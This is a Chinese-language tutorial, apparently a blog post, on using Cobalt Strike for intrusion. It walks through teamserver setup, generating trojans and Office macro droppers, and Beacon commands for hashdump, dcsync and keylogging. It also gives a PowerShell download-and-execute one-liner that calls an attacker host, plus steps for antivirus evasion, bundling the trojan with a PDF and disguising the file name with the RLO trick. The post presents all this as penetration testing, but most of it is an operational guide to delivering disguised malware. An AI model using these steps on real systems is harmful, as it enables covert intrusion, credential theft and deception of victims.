中华人民共和国网络安全法 (cac.gov.cn)。
Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,Windows的exe木马生成,Windows的dll木马生成,Java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
内网渗透中拿到一个点,进行提权后进行哈希传递获得其他主机的权限,拿下域控,通过kerberos协议黄白票据获取服务,暴力破解密钥弱口令等以及扫描内网网段查看有哪些主机存活;如果该内网有好几层,那么就得做流量代理。内网中流量很敏感,防守方很容易就会发现内网IP攻击内网IP的流量,那么就要求我们短时间内渗透完成,并且在真实渗透中对方环境不可控(有没有WAF需要绕过,有没有杀毒软件要关),Cobalt Strike工具因为是图形化界面更方便更简洁进行渗透操作,并且可以将攻击者控制权限注入到system权限的系统核心进程中。
CS server 开启了50050端口,CS官方推进这个端口。(可修改)生成的木马连接的也是CS server 。
CS Client 可以连接CS server的50050端口。
MSF
Cobalt Strike
Cobalt Strike生成的木马在执行后会主动去找CS server,CS server 允许多个用户同时登录,当有一台主机上线后,所有连接这台服务器的攻击者都可以操作上线的Shell。
Cobalt Strike 生成的木马并不是实时通信的,而是木马文件每隔一段时间会请求服务器CS server。(心跳默认60秒,可修改)请求是由内到外发起的请求,这样可以绕过安全设备。
注意:Cobalt Strike客户端和服务器都需要Java环境。
将文件进行解压
unzip CobaltStrike4.8.zip
给服务端所有文件赋予执行权限。
执行teamserver脚本。需要管理员权限才可以运行。
说明:
./teamserver 192.168.188.133 123456
Cobalt Strike服务器启动成功。
进入搭配CobaltStrike中的Client双击cobaltstrike-client.cmd即可。
配置信息然后进行连接,
比对之前生成的hash值和这里的hash值一致。
界面如下
插件后缀名是caa
没有区别都是windows木马,差别在询问服务执行什么命令。
点击小耳机表示所有的监听,配置信息如下。
查看服务器的端口情况,发现刚刚创建的6666端口已经开启了。
选择Windows Stager Payload生成exe
点击Generate后选择保存木马文件的路径。
双击木马后就上线了。
说明:
点击Interact,下方会生成一个命令解释器的窗口。
这个命令解释器相对于一个独立的命令解释器,是木马的命令解解释器。
先将sleep设置为2秒,执行完成后,心跳自动变成2秒。
查看Beacon可以执行哪些命令,输入?
进行查看。
输入了ls
显示当前木马下的所有文件信息。
输入shell whoami
,以运行木马主机的环境执行命令。
之前安装插件的功能
Cobalt Strike
New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces #设置VPN接口
Listenrs # 创建监听器
Script Manager #脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close # 退出连接
View
Applications # 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志
Attacks
Packages
HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
USB/CD AutoPlay # 生成利用自动播放运行的木马文件
Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马
Web Drive-by
Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish # 鱼叉钓鱼邮件
Reporting
Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录 Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data # 重置数据 Export Data # 导出数据,导出.tsv文件格式
Help
工具栏
1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
Beacon
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covert 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
域内登录认证
# 查看网络内和域内主机和IP地址
net view
net view [domain]
# 列出当前域控以及特定域控
net dclist
net dclist [domain]
# 查看当前域主机列表
shell net view /domain:[domain]
新建一个word文档,具体步骤如下
复制到之前宏代码的位置,保存文件即可。
双击刚才的word文件,即可上线成功。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.188.133:80/a'))"
Win + R 输入刚才复制的内容粘贴进入回车即可。
之后后Power shell会弹出一下,然后就上线成功。
以火绒的为例,生成一个快捷方式,然后将之前生成的powershell代码复制到快捷方式的目标中。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.188.133:80/a'))"
选择一个图标进行伪装,系统的图标位置如下
%SystemRoot%\System32\SHELL32.dll
双击我们伪装的快捷方式,之后就上线成功。
Stager和Stageless的区别:
这里选中Stager Payload Generator。
保存恶意文件到桌面
生成的c语言文件
文件内容如下,以十六进制显示的
Cobalt Strike操作如下
使用ShellQMaker来进行操作
之后会在目录下生成一个shell.exe文件。
并且在真实机中操作,没有被火绒检测到。
使用winrarx64程序
选中木马程序和一个pdf文件,右键添加到压缩文件中。
设置压缩文件选项。
解压路径选择为c:\windows\temp。
配置在解压的时候,运行的哪些文件。注意将exe文件放在前面。
防止出现相同名字的文件。
选择图标
但是目前的生成的木马后缀名.exe太过于明显。
文件后缀名加一个空格,然后写fdp.exe
右键文件重命名,点击fdp前面一格然后选择插入Unicode控制字符(I)–>RLO即可。
最后效果图
双击文件后,上线成功。
并且文件成功在浏览器中打开